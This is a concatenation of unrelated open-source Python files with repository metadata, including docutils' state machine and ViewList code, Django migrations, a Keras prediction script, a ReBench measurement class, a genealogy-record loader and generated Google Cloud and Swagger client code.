Override it in subclasses to avoid the default. """ known_indent_sm_kwargs = None """ Keyword arguments dictionary, passed to the `known_indent_sm` constructor. If left as ``None``, `known_indent_sm_kwargs` defaults to the value of `indent_sm_kwargs`. Override it in subclasses to avoid the default. """ ws_patterns = {'blank': ' *$', 'indent': ' +'} """Patterns for default whitespace transitions. May be overridden in subclasses.""" ws_initial_transitions = ('blank', 'indent') """Default initial whitespace transitions, added before those listed in `State.initial_transitions`. May be overridden in subclasses.""" def __init__(self, state_machine, debug=0): """ Initialize a `StateSM` object; extends `State.__init__()`. Check for indent state machine attributes, set defaults if not set. """ State.__init__(self, state_machine, debug) if self.indent_sm is None: self.indent_sm = self.nested_sm if self.indent_sm_kwargs is None: self.indent_sm_kwargs = self.nested_sm_kwargs if self.known_indent_sm is None: self.known_indent_sm = self.indent_sm if self.known_indent_sm_kwargs is None: self.known_indent_sm_kwargs = self.indent_sm_kwargs def add_initial_transitions(self): """ Add whitespace-specific transitions before those defined in subclass. Extends `State.add_initial_transitions()`. """ State.add_initial_transitions(self) if self.patterns is None: self.patterns = {} self.patterns.update(self.ws_patterns) names, transitions = self.make_transitions( self.ws_initial_transitions) self.add_transitions(names, transitions) def blank(self, match, context, next_state): """Handle blank lines. Does nothing. Override in subclasses.""" return self.nop(match, context, next_state) def indent(self, match, context, next_state): """ Handle an indented text block. Extend or override in subclasses. Recursively run the registered state machine for indented blocks (`self.indent_sm`). """ indented, indent, line_offset, blank_finish = \ self.state_machine.get_indented() sm = self.indent_sm(debug=self.debug, **self.indent_sm_kwargs) results = sm.run(indented, input_offset=line_offset) return context, next_state, results def known_indent(self, match, context, next_state): """ Handle a known-indent text block. Extend or override in subclasses. Recursively run the registered state machine for known-indent indented blocks (`self.known_indent_sm`). The indent is the length of the match, ``match.end()``. """ indented, line_offset, blank_finish = \ self.state_machine.get_known_indented(match.end()) sm = self.known_indent_sm(debug=self.debug, **self.known_indent_sm_kwargs) results = sm.run(indented, input_offset=line_offset) return context, next_state, results def first_known_indent(self, match, context, next_state): """ Handle an indented text block (first line's indent known). Extend or override in subclasses. Recursively run the registered state machine for known-indent indented blocks (`self.known_indent_sm`). The indent is the length of the match, ``match.end()``. """ indented, line_offset, blank_finish = \ self.state_machine.get_first_known_indented(match.end()) sm = self.known_indent_sm(debug=self.debug, **self.known_indent_sm_kwargs) results = sm.run(indented, input_offset=line_offset) return context, next_state, results class _SearchOverride: """ Mix-in class to override `StateMachine` regular expression behavior. Changes regular expression matching, from the default `re.match()` (succeeds only if the pattern matches at the start of `self.line`) to `re.search()` (succeeds if the pattern matches anywhere in `self.line`). When subclassing a `StateMachine`, list this class **first** in the inheritance list of the class definition. """ def match(self, pattern): """ Return the result of a regular expression search. Overrides `StateMachine.match()`. Parameter `pattern`: `re` compiled regular expression. """ return pattern.search(self.line) class SearchStateMachine(_SearchOverride, StateMachine): """`StateMachine` which uses `re.search()` instead of `re.match()`.""" pass class SearchStateMachineWS(_SearchOverride, StateMachineWS): """`StateMachineWS` which uses `re.search()` instead of `re.match()`.""" pass class ViewList: """ List with extended functionality: slices of ViewList objects are child lists, linked to their parents. Changes made to a child list also affect the parent list. A child list is effectively a "view" (in the SQL sense) of the parent list. Changes to parent lists, however, do *not* affect active child lists. If a parent list is changed, any active child lists should be recreated. The start and end of the slice can be trimmed using the `trim_start()` and `trim_end()` methods, without affecting the parent list. The link between child and parent lists can be broken by calling `disconnect()` on the child list. Also, ViewList objects keep track of the source & offset of each item. This information is accessible via the `source()`, `offset()`, and `info()` methods. """ def __init__(self, initlist=None, source=None, items=None, parent=None, parent_offset=None): self.data = [] """The actual list of data, flattened from various sources.""" self.items = [] """A list of (source, offset) pairs, same length as `self.data`: the source of each line and the offset of each line from the beginning of its source.""" self.parent = parent """The parent list.""" self.parent_offset = parent_offset """Offset of this list from the beginning of the parent list.""" if isinstance(initlist, ViewList): self.data = initlist.data[:] self.items = initlist.items[:] elif initlist is not None: self.data = list(initlist) if items: self.items = items else: self.items = [(source, i) for i in range(len(initlist))] assert len(self.data) == len(self.items), 'data mismatch' def __str__(self): return str(self.data) def __repr__(self): return '%s(%s, items=%s)' % (self.__class__.__name__, self.data, self.items) def __lt__(self, other): return self.data < self.__cast(other) def __le__(self, other): return self.data <= self.__cast(other) def __eq__(self, other): return self.data == self.__cast(other) def __ne__(self, other): return self.data != self.__cast(other) def __gt__(self, other): return self.data > self.__cast(other) def __ge__(self, other): return self.data >= self.__cast(other) def __cmp__(self, other): return cmp(self.data, self.__cast(other)) def __cast(self, other): if isinstance(other, ViewList): return other.data else: return other def __contains__(self, item): return item in self.data def __len__(self): return len(self.data) # The __getitem__()/__setitem__() methods check whether the index # is a slice first, since indexing a native list with a slice object # just works. def __getitem__(self, i): if isinstance(i, types.SliceType): assert i.step in (None, 1), 'cannot handle slice with stride' return self.__class__(self.data[i.start:i.stop], items=self.items[i.start:i.stop], parent=self, parent_offset=i.start or 0) else: return self.data[i] def __setitem__(self, i, item): if isinstance(i, types.SliceType): assert i.step in (None, 1), 'cannot handle slice with stride' if not isinstance(item, ViewList): raise TypeError('assigning non-ViewList to ViewList slice') self.data[i.start:i.stop] = item.data self.items[i.start:i.stop] = item.items assert len(self.data) == len(self.items), 'data mismatch' if self.parent: self.parent[(i.start or 0) + self.parent_offset : (i.stop or len(self)) + self.parent_offset] = item else: self.data[i] = item if self.parent: self.parent[i + self.parent_offset] = item def __delitem__(self, i): try: del self.data[i] del self.items[i] if self.parent: del self.parent[i + self.parent_offset] except TypeError: assert i.step is None, 'cannot handle slice with stride' del self.data[i.start:i.stop] del self.items[i.start:i.stop] if self.parent: del self.parent[(i.start or 0) + self.parent_offset : (i.stop or len(self)) + self.parent_offset] def __add__(self, other): if isinstance(other, ViewList): return self.__class__(self.data + other.data, items=(self.items + other.items)) else: raise TypeError('adding non-ViewList to a ViewList') def __radd__(self, other): if isinstance(other, ViewList): return self.__class__(other.data + self.data, items=(other.items + self.items)) else: raise TypeError('adding ViewList to a non-ViewList') def __iadd__(self, other): if isinstance(other, ViewList): self.data += other.data else: raise TypeError('argument to += must be a ViewList') return self def __mul__(self, n): return self.__class__(self.data * n, items=(self.items * n)) __rmul__ = __mul__ def __imul__(self, n): self.data *= n self.items *= n return self def extend(self, other): if not isinstance(other, ViewList): raise TypeError('extending a ViewList with a non-ViewList') if self.parent: self.parent.insert(len(self.data) + self.parent_offset, other) self.data.extend(other.data) self.items.extend(other.items) def append(self, item, source=None, offset=0): if source is None: self.extend(item) else: if self.parent: self.parent.insert(len(self.data) + self.parent_offset, item, source, offset) self.data.append(item) self.items.append((source, offset)) def insert(self, i, item, source=None, offset=0): if source is None: if not isinstance(item, ViewList): raise TypeError('inserting non-ViewList with no source given') self.data[i:i] = item.data self.items[i:i] = item.items if self.parent: index = (len(self.data) + i) % len(self.data) self.parent.insert(index + self.parent_offset, item) else: self.data.insert(i, item) self.items.insert(i, (source, offset)) if self.parent: index = (len(self.data) + i) % len(self.data) self.parent.insert(index + self.parent_offset, item, source, offset) def pop(self, i=-1): if self.parent: index = (len(self.data) + i) % len(self.data) self.parent.pop(index + self.parent_offset) self.items.pop(i) return self.data.pop(i) def trim_start(self, n=1): """ Remove items from the start of the list, without touching the parent. """ if n > len(self.data): raise IndexError("Size of trim too large; can't trim %s items " "from a list of size %s." % (n, len(self.data))) elif n < 0: raise IndexError('Trim size must be >= 0.') del self.data[:n] del self.items[:n] if self.parent: self.parent_offset += n def trim_end(self, n=1): """ Remove items from the end of the list, without touching the parent. """ if n > len(self.data): raise IndexError("Size of trim too large; can't trim %s items " "from a list of size %s." % (n, len(self.data))) elif n < 0: raise IndexError('Trim size must be >= 0.') del self.data[-n:] del self.items[-n:] def remove(self, item): index = self.index(item) del self[index] def count(self, item): return self.data.count(item) def index(self, item): return self.data.index(item) def reverse(self): self.data.reverse() self.items.reverse() self.parent = None def sort(self, *args): tmp = zip(self.data, self.items) tmp.sort(*args) self.data = [entry[0] for entry in tmp] self.items = [entry[1] for entry in tmp] self.parent = None def info(self, i): """Return source & offset for index `i`.""" try: return self.items[i] except IndexError: if i == len(self.data): # Just past the end return self.items[i - 1][0], None else: raise def source(self, i): """Return source for index `i`.""" return self.info(i)[0] def offset(self, i): """Return offset for index `i`.""" return self.info(i)[1] def disconnect(self): """Break link between this list and parent list.""" self.parent = None def xitems(self): """Return iterator yielding (source, offset, value) tuples.""" for (value, (source, offset)) in zip(self.data, self.items): yield (source, offset, value) def pprint(self): """Print the list in `grep` format (`source:offset:value` lines)""" for line in self.xitems(): print "%s:%d:%s" % line class StringList(ViewList): """A `ViewList` with string-specific methods.""" def trim_left(self, length, start=0, end=sys.maxint): """ Trim `length` characters off the beginning of each item, in-place, from index `start` to `end`. No whitespace-checking is done on the trimmed text. Does not affect slice parent. """ self.data[start:end] = [line[length:] for line in self.data[start:end]] def get_text_block(self, start, flush_left=0): """ Return a contiguous block of text. If `flush_left` is true, raise `UnexpectedIndentationError` if an indented line is encountered before the text block ends (with a blank line). """ end = start last = len(self.data) while end < last: line = self.data[end] if not line.strip(): break if flush_left and (line[0] == ' '): source, offset = self.info(end) raise UnexpectedIndentationError(self[start:end], source, offset + 1) end += 1 return self[start:end] def get_indented(self, start=0, until_blank=0, strip_indent=1, block_indent=None, first_indent=None): """ Extract and return a StringList of indented lines of text. Collect all lines with indentation, determine the minimum indentation, remove the minimum indentation from all indented lines (unless `strip_indent` is false), and return them. All lines up to but not including the first unindented line will be returned. :Parameters: - `start`: The index of the first line to examine. - `until_blank`: Stop collecting at the first blank line if true. - `strip_indent`: Strip common leading indent if true (default). - `block_indent`: The indent of the entire block, if known. - `first_indent`: The indent of the first line, if known. :Return: - a StringList of indented lines with mininum indent removed; - the amount of the indent; - a boolean: did the indented block finish with a blank line or EOF? """ indent = block_indent # start with None if unknown end = start if block_indent is not None and first_indent is None: first_indent = block_indent if first_indent is not None: end += 1 last = len(self.data) while end < last: line = self.data[end] if line and (line[0] != ' ' or (block_indent is not None and line[:block_indent].strip())): # Line not indented or insufficiently indented. # Block finished properly iff the last indented line blank: blank_finish = ((end > start) and not self.data[end - 1].strip()) break stripped = line.lstrip() if not stripped: # blank line if until_blank: blank_finish = 1 break elif block_indent is None: line_indent = len(line) - len(stripped) if indent is None: indent = line_indent else: indent = min(indent, line_indent) end += 1 else: blank_finish = 1 # block ends at end of lines block = self[start:end] if first_indent is not None and block: block.data[0] = block.data[0][first_indent:] if indent and strip_indent: block.trim_left(indent, start=(first_indent is not None)) return block, indent or 0, blank_finish def get_2D_block(self, top, left, bottom, right, strip_indent=1): block = self[top:bottom] indent = right for i in range(len(block.data)): block.data[i] = line = block.data[i][left:right].rstrip() if line: indent = min(indent, len(line) - len(line.lstrip())) if strip_indent and 0 < indent < right: block.data = [line[indent:] for line in block.data] return block def pad_double_width(self, pad_char): """ Pad all double-width characters in self by appending `pad_char` to each. For East Asian language support. """ if hasattr(unicodedata, 'east_asian_width'): east_asian_width = unicodedata.east_asian_width else: return # new in Python 2.4 for i in range(len(self.data)): line = self.data[i] if isinstance(line, unicode): new = [] for char in line: new.append(char) if east_asian_width(char) in 'WF': # 'W'ide & 'F'ull-width new.append(pad_char) self.data[i] = ''.join(new) def replace(self, old, new): """Replace all occurrences of substring `old` with `new`.""" for i in range(len(self.data)): self.data[i] = self.data[i].replace(old, new) class StateMachineError(Exception): pass class UnknownStateError(StateMachineError): pass class DuplicateStateError(StateMachineError): pass class UnknownTransitionError(StateMachineError): pass class DuplicateTransitionError(StateMachineError): pass class TransitionPatternNotFound(StateMachineError): pass class TransitionMethodNotFound(StateMachineError): pass class UnexpectedIndentationError(StateMachineError): pass class TransitionCorrection(Exception): """ Raise from within a transition method to switch to another transition. Raise with one argument, the new transition name. """ class StateCorrection(Exception): """ Raise from within a transition method to switch to another state. Raise with one or two arguments: new state name, and an optional new transition name. """ def string2lines(astring, tab_width=8, convert_whitespace=0, whitespace=re.compile('[\v\f]')): """ Return a list of one-line strings with tabs expanded, no newlines, and trailing whitespace stripped. Each tab is expanded with between 1 and `tab_width` spaces, so that the next character's index becomes a multiple of `tab_width` (8 by default). Parameters: - `astring`: a multi-line string. - `tab_width`: the number of columns between tab stops. - `convert_whitespace`: convert form feeds and vertical tabs to spaces? """ if convert_whitespace: astring = whitespace.sub(' ', astring) return [s.expandtabs(tab_width).rstrip() for s in astring.splitlines()] def _exception_data(): """ Return exception information: - the exception's class name; - the exception object; - the name of the file containing the offending code; - the line number of the offending code; - the function name of the offending code. """ type, value, traceback = sys.exc_info() while traceback.tb_next: traceback = traceback.tb_next code = traceback.tb_frame.f_code return (type.__name__, value, code.co_filename, traceback.tb_lineno, code.co_name)

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# Generated by Django 2.0 on 2018-04-11 13:34 from django.conf import settings from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0016_auto_20180411_1603'), ] operations = [ migrations.AlterField( model_name='user', name='friends', field=models.ManyToManyField(to=settings.AUTH_USER_MODEL), ), ]

[ "hakujyo0518@gmail.com" ]

hakujyo0518@gmail.com

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/tensorflow/testClassify.py

24b6d069785414f3040dabff98ad31c0c1b79356

[]

no_license

tkz1996/selfdrivingcar

86aaad9b43e9b1fb2a261b9fcf56bc4a8e05de72

928bc11797036deb46342e5ca5cb990d38ebabe6

refs/heads/master

2023-06-16T14:16:58.350637

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import tensorflow as tf from tensorflow import keras import numpy as np from cv2 import imread, IMREAD_GRAYSCALE pathToFolder = 'laneDirectionModel/' model = keras.models.load_model(pathToFolder) model.summary() image = imread('test.jpg', IMREAD_GRAYSCALE) image = np.expand_dims(image, -1) image = np.expand_dims(image, 0) predictions = model.predict(image, verbose=1) print(predictions)

[ "tkz1996@live.com" ]

tkz1996@live.com

f60472dc9f2c47ee9077d7de07554b3dae6f0215

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/rebench/model/measurement.py

40af4d69df6564115af83afce35a6769e7585c55

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no_license

lhoste-bell/ReBench

74ccb400aa5f262b56659afac3b7db873bd6a8d2

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refs/heads/master

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# Copyright (c) 2009-2014 Stefan Marr <http://www.stefan-marr.de/> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. from datetime import datetime from .run_id import RunId class Measurement(object): def __init__(self, value, unit, run_id, criterion = 'total', timestamp = None): self._run_id = run_id self._criterion = criterion self._value = value self._unit = unit self._timestamp = timestamp or datetime.now() def is_total(self): return self._criterion == 'total' @property def criterion(self): return self._criterion @property def value(self): return self._value @property def unit(self): return self._unit @property def timestamp(self): return self._timestamp @property def run_id(self): return self._run_id TIME_FORMAT = "%Y-%m-%dT%H:%M:%S" def as_str_list(self): return ["[" + self._timestamp.strftime(self.TIME_FORMAT) + "]", "%f" % self._value, self._unit, self._criterion] + self._run_id.as_str_list() @classmethod def from_str_list(cls, data_store, str_list): timestamp = datetime.strptime(str_list[0][1:-1], cls.TIME_FORMAT) value = float(str_list[1]) unit = str_list[2] criterion = str_list[3] run_id = RunId.from_str_list(data_store, str_list[4:]) return Measurement(value, unit, run_id, criterion, timestamp)

[ "git@stefan-marr.de" ]

git@stefan-marr.de

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/ims/exceptions.py

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MarsWizard/imagebank

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ERROR_OBJECT_NOT_FOUND = 10001 PARAMETER_REQUIRED = 10002 INVALID_IMAGE_FILE = 10003 class ImsException(BaseException): def __init__(self, error_code, error_msg): self.error_code = error_code self.error_msg = error_msg class InvalidImageFile(ImsException): def __init__(self): super(InvalidImageFile, self).__init__(INVALID_IMAGE_FILE, 'Invalid Image File')

[ "pbleester@gmail.com" ]

pbleester@gmail.com

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/unifypage/migrations/0004_auto_20161021_0933.py

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# -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2016-10-21 08:33 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('unifypage', '0003_auto_20161020_1746'), ] operations = [ migrations.RemoveField( model_name='row', name='background_url', ), migrations.AddField( model_name='row', name='background', field=models.CharField(blank=True, max_length=500, verbose_name='Background'), ), ]

[ "yosmangel_yk@hotmail.com" ]

yosmangel_yk@hotmail.com

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/setindex.py

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YukiKis/deepage

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2020-12-09T15:33:06

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# -*- coding: utf-8 -*- """ Created on Mon Dec 7 23:36:59 2020 @author: s1430 """ import pandas as pd df = pd.read_csv("sample_index.csv") print(df) print(df.set_index("state")) print(df.set_index(["state", "age"])) print(df.set_index(["state"], drop=False)) print(df.set_index(["state"], append=True)) print(df.set_index(["state"], inplace=True)) print(df) print(df.set_index(["age"], verify_integrity=True))

[ "s143068@gmail.com" ]

s143068@gmail.com

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/load_people_assigned.py

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[]

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HsiuPing/BMSE_2_HW5

34d69b47e115293a1a0972c0a3caf8cdb6563533

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2021-04-27T00:09:18.787201

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""" Main program that loads related people from a file :Author: Arthur Goldberg <Arthur.Goldberg@mssm.edu> :Date: 2018-02-21 :Copyright: 2018, Arthur Goldberg :License: MIT """ import sys import argparse import logging import related_person from related_person import Gender, RelatedPerson, RelatedPersonError class RawPersonRecord(object): FIELDS = 5 def __init__(self, id, name, father_id, mother_id, gender, row): self.id = id self.name = name self.father_id = father_id self.mother_id = mother_id self.gender = gender self.row = row @staticmethod def make_from_line(line, row): l = line.strip().split('\t') if len(l) != RawPersonRecord.FIELDS: raise ValueError("row {}: has {} fields, not {}".format(row, len(l), RawPersonRecord.FIELDS)) t = tuple(l + [row]) return RawPersonRecord(*t) class LoadPeople(object): NULL_ID = '0' def __init__(self): self.buffer = [] self.people_index = {} @staticmethod def all_people(people_index): for id in sorted(people_index.keys()): print(str(people_index[id])) # todo: write phase1 def phase1(self): # Phase 1: parser = argparse.ArgumentParser() parser.add_argument("infile", type=argparse.FileType('r')) parser.add_argument("--outfile", '-o', type=argparse.FileType('a+')) print(parser.parse_args()) return parser.parse_args() def phase2(self): # Phase 2: row = 0 errors = [] bad_ids = set() # todo: report failure to open and quit, or have file opened by command line parsing args = self.phase1() filename = args.infile with filename as f: for line in f: row += 1 try: self.buffer.append(RawPersonRecord.make_from_line(line, row)) except ValueError as e: errors.append(str(e)) # check IDs, genders, & create RelatedPersons for raw_person in self.buffer: try: # check for dupes if raw_person.id in self.people_index: bad_ids.add(raw_person.id) del self.people_index[raw_person.id] if raw_person.id in bad_ids: raise RelatedPersonError("duplicate ID: {}".format(raw_person.id)) # todo: get and check gender gender = Gender.get_gender(raw_person.gender) # make RelatedPerson related_person = RelatedPerson(raw_person.id, raw_person.name, gender) self.people_index[raw_person.id] = related_person except RelatedPersonError as e: errors.append("row {}: {}".format(raw_person.row, str(e))) bad_ids.add(raw_person.id) if errors: # todo: write to output determined by command line input text_1 = '\n- individual errors -' text_2 = '\n'.join(errors) if args.outfile: with args.outfile as o: o.write(text_1 + text_2) else: print(text_1, text_2) def check_parent(self, raw_person, parent): if parent == 'mother': if raw_person.mother_id != LoadPeople.NULL_ID: if raw_person.mother_id not in self.people_index: raise RelatedPersonError("{} missing mother {}".format(raw_person.id, raw_person.mother_id)) elif parent == 'father': if raw_person.father_id != LoadPeople.NULL_ID: if raw_person.father_id not in self.people_index: raise RelatedPersonError("{} missing father {}".format(raw_person.id, raw_person.father_id)) def set_parent(self, raw_person, parent): related_person = self.people_index[raw_person.id] if parent == 'mother': if raw_person.mother_id != LoadPeople.NULL_ID: mother = self.people_index[raw_person.mother_id] related_person.set_mother(mother) elif parent == 'father': if raw_person.father_id != LoadPeople.NULL_ID: father = self.people_index[raw_person.father_id] related_person.set_father(father) def phase3(self): # Phase 3: errors = [] bad_ids = set() args = self.phase1() for raw_person in self.buffer: if raw_person.id in self.people_index: # todo: check that the parents of raw_person exist; use check_parent() to help # set parents, which checks their gender if raw_person.id not in bad_ids: for parent in ['mother', 'father']: try: self.check_parent(raw_person, parent) self.set_parent(raw_person, parent) except RelatedPersonError as e: errors.append("row {}: for {} {}".format(raw_person.row, raw_person.id, str(e))) bad_ids.add(raw_person.id) # delete all the RelatedPerson entries for the bad people for bad_id in bad_ids: del self.people_index[bad_id] # todo: create a log entry for each RelatedPerson that is verified logging.basicConfig(stream=sys.stdout, level=logging.INFO) for id in self.people_index: logging.info('ID:{} is successfully loaded.'.format(id), self.people_index[id]) if errors: # todo: write to output determined by command line input text_1 = '\n- relatedness errors -' text_2 = '\n'.join(errors) if args.outfile: with args.outfile as o: o.write(text_1 + text_2) else: print(text_1, text_2) def main(self): self.phase2() self.phase3() return self.people_index # todo: use the input specified by the CLI # Use command line such as python load_people_assigned.py test_bad.tsv -o output_error.txt LoadPeople().main()

[ "noreply@github.com" ]

HsiuPing.noreply@github.com

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/google/cloud/aiplatform_v1beta1/services/migration_service/transports/base.py

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permissive

orionnye/python-aiplatform

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refs/heads/main

2023-08-03T06:14:50.689185

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# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import abc from typing import Awaitable, Callable, Dict, Optional, Sequence, Union import packaging.version import pkg_resources import google.auth # type: ignore import google.api_core # type: ignore from google.api_core import exceptions as core_exceptions # type: ignore from google.api_core import gapic_v1 # type: ignore from google.api_core import retry as retries # type: ignore from google.api_core import operations_v1 # type: ignore from google.auth import credentials as ga_credentials # type: ignore from google.oauth2 import service_account # type: ignore from google.cloud.aiplatform_v1beta1.types import migration_service from google.longrunning import operations_pb2 # type: ignore try: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo( gapic_version=pkg_resources.get_distribution( "google-cloud-aiplatform", ).version, ) except pkg_resources.DistributionNotFound: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo() try: # google.auth.__version__ was added in 1.26.0 _GOOGLE_AUTH_VERSION = google.auth.__version__ except AttributeError: try: # try pkg_resources if it is available _GOOGLE_AUTH_VERSION = pkg_resources.get_distribution("google-auth").version except pkg_resources.DistributionNotFound: # pragma: NO COVER _GOOGLE_AUTH_VERSION = None class MigrationServiceTransport(abc.ABC): """Abstract transport class for MigrationService.""" AUTH_SCOPES = ("https://www.googleapis.com/auth/cloud-platform",) DEFAULT_HOST: str = "aiplatform.googleapis.com" def __init__( self, *, host: str = DEFAULT_HOST, credentials: ga_credentials.Credentials = None, credentials_file: Optional[str] = None, scopes: Optional[Sequence[str]] = None, quota_project_id: Optional[str] = None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, always_use_jwt_access: Optional[bool] = False, **kwargs, ) -> None: """Instantiate the transport. Args: host (Optional[str]): The hostname to connect to. credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. credentials_file (Optional[str]): A file with credentials that can be loaded with :func:`google.auth.load_credentials_from_file`. This argument is mutually exclusive with credentials. scopes (Optional[Sequence[str]]): A list of scopes. quota_project_id (Optional[str]): An optional project to use for billing and quota. client_info (google.api_core.gapic_v1.client_info.ClientInfo): The client info used to send a user-agent string along with API requests. If ``None``, then default info will be used. Generally, you only need to set this if you're developing your own client library. always_use_jwt_access (Optional[bool]): Whether self signed JWT should be used for service account credentials. """ # Save the hostname. Default to port 443 (HTTPS) if none is specified. if ":" not in host: host += ":443" self._host = host scopes_kwargs = self._get_scopes_kwargs(self._host, scopes) # Save the scopes. self._scopes = scopes # If no credentials are provided, then determine the appropriate # defaults. if credentials and credentials_file: raise core_exceptions.DuplicateCredentialArgs( "'credentials_file' and 'credentials' are mutually exclusive" ) if credentials_file is not None: credentials, _ = google.auth.load_credentials_from_file( credentials_file, **scopes_kwargs, quota_project_id=quota_project_id ) elif credentials is None: credentials, _ = google.auth.default( **scopes_kwargs, quota_project_id=quota_project_id ) # If the credentials is service account credentials, then always try to use self signed JWT. if ( always_use_jwt_access and isinstance(credentials, service_account.Credentials) and hasattr(service_account.Credentials, "with_always_use_jwt_access") ): credentials = credentials.with_always_use_jwt_access(True) # Save the credentials. self._credentials = credentials # TODO(busunkim): This method is in the base transport # to avoid duplicating code across the transport classes. These functions # should be deleted once the minimum required versions of google-auth is increased. # TODO: Remove this function once google-auth >= 1.25.0 is required @classmethod def _get_scopes_kwargs( cls, host: str, scopes: Optional[Sequence[str]] ) -> Dict[str, Optional[Sequence[str]]]: """Returns scopes kwargs to pass to google-auth methods depending on the google-auth version""" scopes_kwargs = {} if _GOOGLE_AUTH_VERSION and ( packaging.version.parse(_GOOGLE_AUTH_VERSION) >= packaging.version.parse("1.25.0") ): scopes_kwargs = {"scopes": scopes, "default_scopes": cls.AUTH_SCOPES} else: scopes_kwargs = {"scopes": scopes or cls.AUTH_SCOPES} return scopes_kwargs def _prep_wrapped_messages(self, client_info): # Precompute the wrapped methods. self._wrapped_methods = { self.search_migratable_resources: gapic_v1.method.wrap_method( self.search_migratable_resources, default_timeout=None, client_info=client_info, ), self.batch_migrate_resources: gapic_v1.method.wrap_method( self.batch_migrate_resources, default_timeout=None, client_info=client_info, ), } @property def operations_client(self) -> operations_v1.OperationsClient: """Return the client designed to process long-running operations.""" raise NotImplementedError() @property def search_migratable_resources( self, ) -> Callable[ [migration_service.SearchMigratableResourcesRequest], Union[ migration_service.SearchMigratableResourcesResponse, Awaitable[migration_service.SearchMigratableResourcesResponse], ], ]: raise NotImplementedError() @property def batch_migrate_resources( self, ) -> Callable[ [migration_service.BatchMigrateResourcesRequest], Union[operations_pb2.Operation, Awaitable[operations_pb2.Operation]], ]: raise NotImplementedError() __all__ = ("MigrationServiceTransport",)

[ "noreply@github.com" ]

orionnye.noreply@github.com

5a30388c978d42ea4fa0fd92c353044d84de3910

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/cli_lic/configuration.py

e83dd2632e0a9535502deef9ddcc45cde311ee01

[]

no_license

novvv/api_lic

97ddbe70c1b77171a2e3820b72a02ef3eba9e12c

ad00863818c18f84b556774205119102dbefb4dd

refs/heads/master

2020-03-31T14:14:51.267998

2019-04-12T10:48:32

152,286,300

0

null

UTF-8

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py

# coding: utf-8 """ LICENSE API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 1.0.19 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import urllib3 import sys import logging from six import iteritems from six.moves import http_client as httplib def singleton(cls, *args, **kw): instances = {} def _singleton(): if cls not in instances: instances[cls] = cls(*args, **kw) return instances[cls] return _singleton @singleton class Configuration(object): """ NOTE: This class is auto generated by the swagger code generator program. Ref: https://github.com/swagger-api/swagger-codegen Do not edit the class manually. """ def __init__(self): """ Constructor """ # Default Base url self.host = "http://localhost:8012/v1" # Default api client self.api_client = None # Temp file folder for downloading files self.temp_folder_path = None # Authentication Settings # dict to store API key(s) self.api_key = {} # dict to store API prefix (e.g. Bearer) self.api_key_prefix = {} # Username for HTTP basic authentication self.username = "" # Password for HTTP basic authentication self.password = "" # Logging Settings self.logger = {} self.logger["package_logger"] = logging.getLogger("cli_lic") self.logger["urllib3_logger"] = logging.getLogger("urllib3") # Log format self.logger_format = '%(asctime)s %(levelname)s %(message)s' # Log stream handler self.logger_stream_handler = None # Log file handler self.logger_file_handler = None # Debug file location self.logger_file = None # Debug switch self.debug = False # SSL/TLS verification # Set this to false to skip verifying SSL certificate when calling API from https server. self.verify_ssl = True # Set this to customize the certificate file to verify the peer. self.ssl_ca_cert = None # client certificate file self.cert_file = None # client key file self.key_file = None # Proxy URL self.proxy = None # Safe chars for path_param self.safe_chars_for_path_param = '' @property def logger_file(self): """ Gets the logger_file. """ return self.__logger_file @logger_file.setter def logger_file(self, value): """ Sets the logger_file. If the logger_file is None, then add stream handler and remove file handler. Otherwise, add file handler and remove stream handler. :param value: The logger_file path. :type: str """ self.__logger_file = value if self.__logger_file: # If set logging file, # then add file handler and remove stream handler. self.logger_file_handler = logging.FileHandler(self.__logger_file) self.logger_file_handler.setFormatter(self.logger_formatter) for _, logger in iteritems(self.logger): logger.addHandler(self.logger_file_handler) if self.logger_stream_handler: logger.removeHandler(self.logger_stream_handler) else: # If not set logging file, # then add stream handler and remove file handler. self.logger_stream_handler = logging.StreamHandler() self.logger_stream_handler.setFormatter(self.logger_formatter) for _, logger in iteritems(self.logger): logger.addHandler(self.logger_stream_handler) if self.logger_file_handler: logger.removeHandler(self.logger_file_handler) @property def debug(self): """ Gets the debug status. """ return self.__debug @debug.setter def debug(self, value): """ Sets the debug status. :param value: The debug status, True or False. :type: bool """ self.__debug = value if self.__debug: # if debug status is True, turn on debug logging for _, logger in iteritems(self.logger): logger.setLevel(logging.DEBUG) # turn on httplib debug httplib.HTTPConnection.debuglevel = 1 else: # if debug status is False, turn off debug logging, # setting log level to default `logging.WARNING` for _, logger in iteritems(self.logger): logger.setLevel(logging.WARNING) # turn off httplib debug httplib.HTTPConnection.debuglevel = 0 @property def logger_format(self): """ Gets the logger_format. """ 